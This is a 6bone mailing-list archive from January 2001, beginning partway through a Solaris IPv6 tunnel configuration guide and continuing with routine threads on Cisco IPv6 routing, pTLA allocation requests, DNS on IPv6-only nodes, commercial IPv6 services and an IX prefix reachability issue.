address of <IPv4 address>, and also configure the IPv6 address as
::<IPv4 address>/96.  For example, on the system where I just did this
I have /etc/hostname6.ip.atun0 with this as its contents:

       tsrc 129.153.128.110 up

After booting, I ran "ifconfig ip.atun0 inet6" and saw this:

ip.atun0: flags=2200041<UP,RUNNING,NONUD,IPv6> mtu 1480 index 3
inet tunnel src 129.153.128.110
inet6 ::129.153.128.110/96

If you do this on both IPv6 nodes, you'll have two IPv4-compatible
addresses that you can route through.  For example, let's say you have
nodes A and B.  A's IPv4 address is 10.0.0.1 and B's IPv4 address is
10.0.0.2.  If you set up ip.atun0 on each of these, then A will have
IPv4-compatible address ::10.0.0.1 and B will have address ::10.0.0.2.
A can now route to B via ::10.0.0.2, and B can route to A via
::10.0.0.1.  Remember that if you are using A and B as gateways for
other networks, you'll have to turn on ip6_forwarding using ndd.

Configured Tunnels
------------------

Someone forwarded me a copy of a note that you should have gotten on
6bone@isi.edu.  But to be complete, here's the information.  For
configured tunnels, you need to configure both endpoints with the
information you want.  You'll want to configure ip.tun0 (or ip.tun1,
ip.tun2, etc.) with the tunnel source and destination addresses.
Again, create /etc/hostname6.ip.tun0.  Here's the contents of mine
from one machine whose IP address is 129.153.128.110, tunneling to
129.146.177.26:

     tsrc 129.153.128.110 tdst 129.146.177.26 up

Here's what "ifconfig ip.tun0 inet6" shows after boot:

ip.tun0: flags=2200851<UP,POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu 1480
index 3
inet tunnel src 129.153.128.110 tunnel dst 129.146.177.26
inet6 fe80::8199:806e/10 --> fe80::8192:b11a

If you want additional IPv6 addresses, an "addif" statement to
/etc/hostname6.ip.tun0, specifying the source and destination
addresses, like this:

addif 2::45 2::46 up

Then after boot we have a new interface ip.tun0:1.  Here's what the
tunnel stuff from "ifconfig -au6" looks like now:

ip.tun0: flags=2200851<UP,POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu 1480
index 3
inet tunnel src 129.153.128.110 tunnel dst 129.146.177.26
inet6 fe80::8199:806e/10 --> fe80::8192:b11a
ip.tun0:1: flags=2200851<UP,POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
1480 index 3
inet6 2::45/128 --> 2::46

Enjoy.

Greeetings
Mithrandir.



From 6bone-owner  Fri Jan 12 03:38:08 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200101121136.f0CBaNg27467@bfib.ipng.nl>
Subject: Cisco 'ipv6 route' problem.
To: 6bone@ISI.EDU
Date: Fri, 12 Jan 2001 12:36:23 +0100 (CET)
Cc: ipv6-support@cisco.com
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Hallo,

I have a question for the Cisco people that might be of public interrest.
Assume we have a Cisco that builds a tunnel to an IPv4 endpoint using
a /127 tunnelnetwork. This is interface Tunnel1 and the Cisco endpoint
is 3ffe:8114:1000::2/127.

The Cisco then routes a /64 over the tunnel to the remote server. As far
as I can tell, I can route it via two different commands, which both
result in different behavior!

1.  ipv6 route 3ffe:8114:2000:b0::/64 Tunnel1
2.  ipv6 route 3ffe:8114:2000:b0::/64 3ffe:8114:1000::3

If you agree with me that this is an unambigous way to define a static
route over the tunnel, please try and explain to my why the rule under (2)
makes for approximately 50% packet loss from hosts on the 6bone to hosts
in the tunneled /64, and also the same packet loss from users in the
/64 to the 6bone.

If I change the rule from (2) to (1), the problem is solved.
(IOS is the thanksgiving release (12.0))

Kind regards,
Pim van Pelt

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Jan 15 11:38:33 2001
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Date: Mon, 15 Jan 2001 11:38:13 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8130::/28 allocated to NOKIA
Cc: Bill Manning <bmanning@ISI.EDU>, David Kessens <david@iprg.nokia.com>
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NOKIA has been allocated pTLA 3FFE:8130::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?nokia>


Note that it will take a short while for their inet6num object to show up 
as they have to create it. However, their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Mon Jan 15 21:43:30 2001
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Date: Mon, 15 Jan 2001 21:37:25 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for APAN-JO
Cc: kdd@jp.apan.net
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6bone Folk,

APAN-JP has requested a pTLA allocation. The open review period for this 
will close 29 Jan 2001. Please send any comments to me or the list.


Thanks,

Bob

======================================
>Date: Tue, 16 Jan 2001 11:33:46 +0900
>From: Yuichiro HEI <hei@kddlabs.co.jp>
>To: fink@es.net
>CC: kdd@jp.apan.net
>Subject: pTLA request for APAN-JP
>
>Dear Mr.Fink,
>
>This is Yuichiro Hei from APAN-JP, requesting 6Bone pTLA address.
>
>I attach the request form of pTLA.
>We hope we meet the 6bone's requirement, but if something is missing,
>please let us know.
>
>Best regards,
>
>Yuichiro Hei
>APAN-JP
>
>-----------------
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>A: We have been connected to the 6Bone since 1998.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>A: We do not maintain 6Bone registry entries now (I mean it is mainly for
>    3ffe:... address), but now we maintain a sNLA address space delegated
>    from WIDE, and maintain an up-to-date APNIC registry. Please refer the
>    APNIC registry. For example:
>      % whois -h whois.apnic.net 2001:200:900::/40
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>A: We maintain the BGP4+ peering with WIDE(AS2500) via NSPIXP6, which is
>    an IX for IPv6 in Japan. Our IPv6 router is tp6r2.jp.apan.net.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>A: We maintain DNS forward (AAAA) and reverse (ip6.int) entries on
>    ns.jp.apan.net. For example:
>
>% dig ns2.jp.apan.net aaaa
>...
>
>;; ANSWER SECTION:
>ns2.jp.apan.net.        22h1m44s IN AAAA  2001:200:901:2::2
>...
>
>% dig 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.1.0.9.0.0.0.2.0.1.0.0.2.ip6.int
>       ptr
>
>;; ANSWER SECTION:
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.1.0.9.0.0.0.2.0.1.0.0.2.ip6.int.
>1D IN PTR  ns2.jp.apan.net.
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>A: www.jp.apan.net is the web server that describes our research and
>    development activities. This can be accessed by both IPv4 and IPv6.
>    Our IPv6 activity described in this server is old, so we will update
>    it soon.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>A: Support staff:
>       Kazunori Konishi      (konish@jp.apan.net)
>       Akira Kato            (kato@wide.ad.jp)
>       Yoshinori Kitatsuji   (kitaji@jp.apan.net)
>       Yuichiro Hei          (hei@jp.apan.net)
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>A: Common mailbox:
>        ops@jp.apan.net
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>A: APAN (Asia Pacific Advanced Network) is a non-profit international
>    consortium for research and development in advanced networking and
>    services in the Asia-Pacific region. APAN provides a high-performance
>    network environment for research community mainly in the country of
>    Asia, for example Japan, Korea, Singapore, Australia, Malaysia,
>    China, etc., and many research communities work actively on APAN network.
>    So we have an Asian-wide potential usr community.
>    We will intent to use pTLA address for these research communities
>    and collaborate on them.
>
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>A:  We agree the rules and policies.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.



From 6bone-owner  Tue Jan 16 06:23:07 2001
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Date: Tue, 16 Jan 2001 06:22:44 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: SOLNET-CH 6bone pTLA request
Cc: Erich Hohermuth <eh@solnet.ch>
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6bone Folk,

SOLNET-CH has requested a pTLA allocation. The open review period for this 
will close 30 Jan 2001. Please send any comments to me or the list.


Thanks,

Bob

======================================
>Date: Tue, 16 Jan 2001 12:51:33 +0100 (MET)
>From: Erich Hohermuth <eh@solnet.ch>
>To: fink@es.net
>Subject: SOLNET-CH 6bone pTLA request
>
>Hello,
>
>We would like to request a test pTLA on the 6bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We have since September 2000 from SWITCH a 3FFE:2028:1000::/36 Network.
>
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>see SOLNET-CH
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>
>tunnel:  IPv6 in IPv4 bb6.solnet.ch -> cisco25.space.net SPACENET-DE STATIC
>tunnel:  IPv6 in IPv4 bb6.solnet.ch -> swiPV6.switch.ch SWITCH BGP4+
>tunnel:  IPv6 in IPv4 bb6.solnet.ch -> doc-6r1.pipex.net UUNET-UK 
>BGP4+
>
>router: bb6.solnet.ch (2514 IOS 12.1)
>         ipv4 212.101.8.19
>         ipv6 3FFE:2028:1000::1
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Domain: ipv6.solnet.ch
>
>DNS:    arcade.ipv6.solnet.ch   3FFE:2028:1000:F000::10B
>         anarcho.ipv6.solnet.ch  3FFE:2028:1000:F000::10D
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Web:    www.ipv6.solnet.ch
>         (providing the latest information about the
>         project and the network.)
>
>         telnet, ssh, ftp is also ipv6 accesible for managment from our
>         LAN.
>
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Markus Binz (MB44-Ripe) [MB8-6BONE]
>Erich Hohermuth (EH974-RIPE) [EH2-6BONE]
>
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>ipv6@solnet.ch
>
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>
>SolNet is an ISP in Switzerland since 1996 who provides Internet Services
>to privat, soho and business customers. The service includes dialup, xDSL,
>leased lines, housing, hosting and consulting. Our main goal is to provide
>high quality Internet Service to all our cutomers.
>
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We commit any current and any future 6Bone operational
>rules and policies.
>
>If there are some questions please feel free to contact us.
>
>                         Erich Hohermuth
>                         Markus Binz
>
>                                 ipv6@solnet.ch



From 6bone-owner  Tue Jan 16 11:11:09 2001
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Date: Tue, 16 Jan 2001 20:13:06 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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	Hello!

	Can a IPv6-only node access to a DNS IPv6-server to resolve addresses?
	There are any documents that explains me this situation? 

	Thank you very much!!
-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Wed Jan 17 00:19:33 2001
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----------  Forwarded Message  ----------
Subject: DNS
Date: Tue, 16 Jan 2001 20:13:06 +0100
From: Julio Baixauli <baixauli@mat.upc.es>


Hello!

	Can a IPv6-only node access to a DNS IPv6-server to resolve addresses?
	There are any documents that explains me this situation? 

Yes. BIND-9 may use IPv6 adresses.


	Thank you very much!!
-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************
-------------------------------------------------------

-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

From 6bone-owner  Wed Jan 17 00:52:15 2001
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From: "Che Rohani Ishak" <roha@mimos.my>
To: <6bone@ISI.EDU>
Subject: Commercial IPv6 Services
Date: Wed, 17 Jan 2001 17:04:11 +0800
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Hi,

Currently, I know that there are only two ISP providing commercial IPv6 =
services that is IIJ and NTT. How about Surfnet and Trumpet? Hope to get =
Clarification.Thanks
=20
Regards,
Rohani=20

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two ISP=20
providing commercial IPv6 services that is IIJ and NTT. How about =
Surfnet and=20
Trumpet? Hope to get Clarification.Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
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From 6bone-owner  Wed Jan 17 01:51:32 2001
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From: Peter Håkanson <peter@ipsec.nu>
Organization: IPSec Sverige
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

From 6bone-owner  Wed Jan 17 02:27:24 2001
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"Peter Håkanson" wrote:
> 
> On Wed, 17 Jan 2001, you wrote:
> > "Peter Håkanson" wrote:
> > >
> > >
> > > Yes. Bind-9 should be able to communicate with ipv6
>
> 
> Bind-9 is the latest version of bind from isc.org
> The software may be obtained from www.isc.org,
> the unpacked manpages may be browsed at :
> 
> http://www.ipsec.nu/dns/bind9/Bv9ARM.html


	OK. Bind9 is the DNS-server. Now... how can I configure a IPv6-only
node (client) to access to a DNS server that is a IPv6-only node too.

	I've modified /etc/resolv.conf with the IPv6 address of DNS-server, but
don't work (no DNS-query packet found on the net). More ideas??

	I'm working with Linux. 

	Thank you!!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Wed Jan 17 04:14:16 2001
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Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment)
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From: Jun-ichiro itojun Hagino <itojun@itojun.org>
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# not sure why it did not get through.

	at PAIX, we use 3ffe:80a::/32 (acutally 3ffe:80a::/64) for the
	peering segment between ISPs.  3ffe:800::/24 is assigned to ISI,
	and as ISI and PAIX are not directly connected, 3ffe:800::/24 has
	two (or more) disconnected networks.

	we did not expect to receive/propagate prefixes longer than
	sTLA/pTLA prefixes (*), our EBGP routers filter out logner prefixes
	(as suggested in 6bone operation RFC) and internal routers do not have
	the route for 3ffe:80a::/32.  packets to 3ffe:80a::/32 get routed to
	ISI (instead of PAIX) and get dropped.

	(*) currently our rule is as follows:
	- prefixes that match 3ffe:0000::/17 and prefixlen = 24
	- prefixes that match 3ffe:8000::/17 and prefixlen = 28
	- prefixes that match 2001::/16 and prefixlen = 29 to 35
	- prefixes that match 2000::/3 and prefixlen = 16
	- prefixes specifically agreed with other peers

	what should we do?  if we need to receive/propagate 3ffe:80a::/32 or
	/64, we may just need to do that and then the particular problem will
	be solved.  however, i have some worry here... if we add more and more
	practice like this, we eventually get more external routes.

	i can think of couple of solutions:
	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
	  based on normal prefix length (like /28 for pTLA).  the IX will
	  ensure connectivity between IX segments (so there will be no
	  reachability issue).
	- define an address range for IX segments (like 3ffe:fff0::/28).
	  assign /48 out of it to IX (who assigns it is another question).
	  ask everyone to accept /48 (not just /28) for the prefix.
	- do not use global address on the IX segment.  I know some routers
	  cannot establish BGP4+ peers using linklocal address.
	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

	what do people think?

itojun

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To: Peter =?iso-8859-1?Q?H=E5kanson?= <peter@ipsec.nu>,
        6bone 
	<6bone@ISI.EDU>
Subject: Re: DNS
References: <3A649D42.71146D16@mat.upc.es> <01011709131801.34720@warp.ipsec.nu> <3A65689A.509F9895@mat.upc.es> <01011710511905.34720@warp.ipsec.nu>
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
"Peter Håkanson" wrote:
> 
> On Wed, 17 Jan 2001, you wrote:
> > "Peter Håkanson" wrote:
> > >
> > >
> > > Yes. Bind-9 should be able to communicate with ipv6
>
> 
> Bind-9 is the latest version of bind from isc.org
> The software may be obtained from www.isc.org,
> the unpacked manpages may be browsed at :
> 
> http://www.ipsec.nu/dns/bind9/Bv9ARM.html


	OK. Bind9 is the DNS-server. Now... how can I configure a IPv6-only
node (client) to access to a DNS server that is a IPv6-only node too.

	I've modified /etc/resolv.conf with the IPv6 address of DNS-server, but
don't work (no DNS-query packet found on the net). More ideas??

	I'm working with Linux. 

	Thank you!!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

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Date: Wed, 17 Jan 2001 09:29:51 -0500
From: Andrea Reitzel <areitzel@mci.net>
Subject: RE: Commercial IPv6 Services
In-reply-to: <00e501c08064$7578a660$a186e4c0@mimos.my>
To: Che Rohani Ishak <roha@mimos.my>, 6bone@ISI.EDU
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In the U.S., the vBNS+ commercial services include IPv6.  For more
information see http://www.vbns.net or feel free to contact me directly.

Regards,
Andrea Reitzel

vBNS Engineering/Worldcom
areitzel@mci.net
703-886-1809
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Che
Rohani Ishak
  Sent: Wednesday, January 17, 2001 4:04 AM
  To: 6bone@ISI.EDU
  Subject: Commercial IPv6 Services


  Hi,

  Currently, I know that there are only two ISP providing commercial IPv6
services that is IIJ and NTT. How about Surfnet and Trumpet? Hope to get
Clarification.Thanks

  Regards,
  Rohani


--Boundary_(ID_jwrPbX5NmffawuuRrrG3AQ)
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<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>In the 
U.S., the vBNS+ commercial services include IPv6.&nbsp; For more information 
see</SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001> <A href="http://www.vbns.net">http://www.vbns.net</A> 
or feel free to contact me directly.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>Andrea 
Reitzel</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>vBNS 
Engineering/Worldcom</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001><A 
href="mailto:areitzel@mci.net">areitzel@mci.net</A></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001>703-886-1809</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> owner-6bone@ISI.EDU 
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>Che Rohani 
  Ishak<BR><B>Sent:</B> Wednesday, January 17, 2001 4:04 AM<BR><B>To:</B> 
  6bone@ISI.EDU<BR><B>Subject:</B> Commercial IPv6 Services<BR><BR></DIV></FONT>
  <DIV>
  <DIV><FONT face=Arial size=2>Hi,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Currently, I know that there are only two ISP 
  providing commercial IPv6 services that is IIJ and NTT. How about Surfnet and 
  Trumpet? Hope to get Clarification.Thanks</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2>Regards,</FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial>Rohani&nbsp;<FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=2><FONT face=Arial><FONT color=#0000ff><SPAN 
  class=930022714-17012001>&nbsp;</SPAN></FONT></FONT></FONT></DIV></DIV></BLOCKQUOTE></BODY></HTML>

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From 6bone-owner  Wed Jan 17 07:20:57 2001
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From: Peter Håkanson <peter@ipsec.nu>
Organization: IPSec Sverige
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: DNS
Date: Wed, 17 Jan 2001 10:49:31 +0100
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
On Wed, 17 Jan 2001, you wrote:
> "Peter Håkanson" wrote:
> > 
> > 
> > Yes. Bind-9 should be able to communicate with ipv6
> > 
> 
> 	I've not found any bind man page in section 9. there is bind(2) man
> page, but it not seems to be that you refers.
> 	Where can I find bind-9?

Bind-9 is the latest version of bind from isc.org
The software may be obtained from www.isc.org,
the unpacked manpages may be browsed at :

http://www.ipsec.nu/dns/bind9/Bv9ARM.html
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
-- 
Peter Håkanson               Phone     +46707328101       Fax +4631223190
IPSec sverige                Email      peter@ipsec.nu  
"Safe by design"             Address    Bror Nilssons gata 16  Lundbystrand
                                        S-417 55  Gothenburg   Sweden         

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To: 6bone@ISI.EDU
Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment)
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From: Jun-ichiro itojun Hagino <itojun@itojun.org>
Date: Wed, 17 Jan 2001 21:13:59 +0900
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# not sure why it did not get through.

	at PAIX, we use 3ffe:80a::/32 (acutally 3ffe:80a::/64) for the
	peering segment between ISPs.  3ffe:800::/24 is assigned to ISI,
	and as ISI and PAIX are not directly connected, 3ffe:800::/24 has
	two (or more) disconnected networks.

	we did not expect to receive/propagate prefixes longer than
	sTLA/pTLA prefixes (*), our EBGP routers filter out logner prefixes
	(as suggested in 6bone operation RFC) and internal routers do not have
	the route for 3ffe:80a::/32.  packets to 3ffe:80a::/32 get routed to
	ISI (instead of PAIX) and get dropped.

	(*) currently our rule is as follows:
	- prefixes that match 3ffe:0000::/17 and prefixlen = 24
	- prefixes that match 3ffe:8000::/17 and prefixlen = 28
	- prefixes that match 2001::/16 and prefixlen = 29 to 35
	- prefixes that match 2000::/3 and prefixlen = 16
	- prefixes specifically agreed with other peers

	what should we do?  if we need to receive/propagate 3ffe:80a::/32 or
	/64, we may just need to do that and then the particular problem will
	be solved.  however, i have some worry here... if we add more and more
	practice like this, we eventually get more external routes.

	i can think of couple of solutions:
	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
	  based on normal prefix length (like /28 for pTLA).  the IX will
	  ensure connectivity between IX segments (so there will be no
	  reachability issue).
	- define an address range for IX segments (like 3ffe:fff0::/28).
	  assign /48 out of it to IX (who assigns it is another question).
	  ask everyone to accept /48 (not just /28) for the prefix.
	- do not use global address on the IX segment.  I know some routers
	  cannot establish BGP4+ peers using linklocal address.
	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

	what do people think?

itojun

From 6bone-owner  Wed Jan 17 09:16:10 2001
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To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Wed, 17 Jan 2001 21:13:59 +0900."
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Wed, 17 Jan 2001 09:15:19 -0800
From: Stephen Stuart <stuart@mfnx.net>
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PAIX followed the same model it uses for v4 address space to get v6
address space - ISI provides micro-allocation services out of a block
from which they provide IXs with address space.

> 	i can think of couple of solutions:
> 	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
> 	  based on normal prefix length (like /28 for pTLA).  the IX will
> 	  ensure connectivity between IX segments (so there will be no
> 	  reachability issue).

PAIX does not have any "interior" connectivity - that would amount to
having the IX compete with its customers for the carriage of traffic
in the wide area.

Also, PAIX owns no routers with which to make an aggregated
announcement (not that it couldn't be done, but it's not part of the
current model).

> 	- do not use global address on the IX segment.  I know some routers
> 	  cannot establish BGP4+ peers using linklocal address.

Possible.

> 	- define an address range for IX segments (like 3ffe:fff0::/28).
> 	  assign /48 out of it to IX (who assigns it is another question).
> 	  ask everyone to accept /48 (not just /28) for the prefix.
>
> 	- get 1 sTLA/pTLA prefix for each of the IX segment.  it is infeasible.

Given that the IX can't carry bits in the wide area, these wind up
being mostly the same option, and (I agree) infeasible.

Stephen

From 6bone-owner  Wed Jan 17 11:13:29 2001
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Date: Wed, 17 Jan 2001 11:29:23 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: Peter =?iso-8859-1?Q?H=E5kanson?= <peter@ipsec.nu>,
        6bone 
	<6bone@ISI.EDU>
Subject: Re: DNS
References: <3A649D42.71146D16@mat.upc.es> <01011709131801.34720@warp.ipsec.nu> <3A65689A.509F9895@mat.upc.es> <01011710511905.34720@warp.ipsec.nu>
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
*This message was transferred with a trial version of CommuniGate(tm) Pro*
"Peter Håkanson" wrote:
> 
> On Wed, 17 Jan 2001, you wrote:
> > "Peter Håkanson" wrote:
> > >
> > >
> > > Yes. Bind-9 should be able to communicate with ipv6
>
> 
> Bind-9 is the latest version of bind from isc.org
> The software may be obtained from www.isc.org,
> the unpacked manpages may be browsed at :
> 
> http://www.ipsec.nu/dns/bind9/Bv9ARM.html


	OK. Bind9 is the DNS-server. Now... how can I configure a IPv6-only
node (client) to access to a DNS server that is a IPv6-only node too.

	I've modified /etc/resolv.conf with the IPv6 address of DNS-server, but
don't work (no DNS-query packet found on the net). More ideas??

	I'm working with Linux. 

	Thank you!!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Wed Jan 17 11:13:34 2001
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Date: Wed, 17 Jan 2001 09:29:51 -0500
From: Andrea Reitzel <areitzel@mci.net>
Subject: RE: Commercial IPv6 Services
In-reply-to: <00e501c08064$7578a660$a186e4c0@mimos.my>
To: Che Rohani Ishak <roha@mimos.my>, 6bone@ISI.EDU
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--Boundary_(ID_jwrPbX5NmffawuuRrrG3AQ)
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In the U.S., the vBNS+ commercial services include IPv6.  For more
information see http://www.vbns.net or feel free to contact me directly.

Regards,
Andrea Reitzel

vBNS Engineering/Worldcom
areitzel@mci.net
703-886-1809
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Che
Rohani Ishak
  Sent: Wednesday, January 17, 2001 4:04 AM
  To: 6bone@ISI.EDU
  Subject: Commercial IPv6 Services


  Hi,

  Currently, I know that there are only two ISP providing commercial IPv6
services that is IIJ and NTT. How about Surfnet and Trumpet? Hope to get
Clarification.Thanks

  Regards,
  Rohani


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<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=930022714-17012001>In the 
U.S., the vBNS+ commercial services include IPv6.&nbsp; For more information 
see</SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN 
class=930022714-17012001> <A href="http://www.vbns.net">http://www.vbns.net</A> 
or feel free to contact me directly.</SPAN></FONT></DIV>
